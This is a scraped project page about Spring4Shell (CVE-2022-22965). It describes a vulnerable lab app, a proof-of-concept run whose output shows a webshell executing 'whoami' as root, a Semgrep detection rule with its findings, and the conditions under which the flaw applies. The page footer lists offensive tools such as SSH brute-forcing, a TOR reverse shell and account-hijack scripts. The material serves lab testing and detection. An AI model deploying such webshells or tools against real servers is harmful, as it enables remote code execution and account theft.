CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

AutoScan 有多个目标时，调用xray+rad进行自动扫描

阿里云accesskey利用工具

Hack any account sending fake nitro QR code (only for educational purpose)

Meterpreter Reverse shell over TOR network using hidden services

解密哥斯拉webshell管理工具流量

A simple multi-threaded distributed SSH brute-forcing tool written in Python.

Password list generator for password spraying - prebaked with goodies

Small Python library that adds password hashing methods to ORM objects

🐎🖥《赛马娘》（ウマ娘: Pretty Derby）辅助脚本

Description Basic Recon tool for beginners. Especially those who faces issue on how to recon or what all tools to use

Cobalt Strike Beacon configuration extractor and parser.

Phoenix Framework is an environment for writing, testing and using exploit code.

Program that mathematically generates and validates CPF numbers

Python script to tamper with pages to test for Log4J Shell vulnerability.

Set the draft security HTTP header Permissions-Policy (previously Feature-Policy) on your Django app.

NEW FACEBOOK CLONER WITH NEW PASSWORD, TERMUX FB CLONE, FB CLONING COMMAND. M

Burp Extensions

The next level Python obfuscator, nearly impossible to deobfuscate.

A hashtag check python module

Security tool to test different bypass of forbidden

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

AutoScan 有多个目标时，调用xray+rad进行自动扫描

阿里云accesskey利用工具

Hack any account sending fake nitro QR code (only for educational purpose)

Meterpreter Reverse shell over TOR network using hidden services

解密哥斯拉webshell管理工具流量

A simple multi-threaded distributed SSH brute-forcing tool written in Python.

Password list generator for password spraying - prebaked with goodies

Small Python library that adds password hashing methods to ORM objects

🐎🖥《赛马娘》（ウマ娘: Pretty Derby）辅助脚本

Description Basic Recon tool for beginners. Especially those who faces issue on how to recon or what all tools to use

Cobalt Strike Beacon configuration extractor and parser.

Phoenix Framework is an environment for writing, testing and using exploit code.

Program that mathematically generates and validates CPF numbers

Python script to tamper with pages to test for Log4J Shell vulnerability.

Set the draft security HTTP header Permissions-Policy (previously Feature-Policy) on your Django app.

NEW FACEBOOK CLONER WITH NEW PASSWORD, TERMUX FB CLONE, FB CLONING COMMAND. M

Burp Extensions

The next level Python obfuscator, nearly impossible to deobfuscate.

A hashtag check python module

Security tool to test different bypass of forbidden

Vulnerable app requirements¹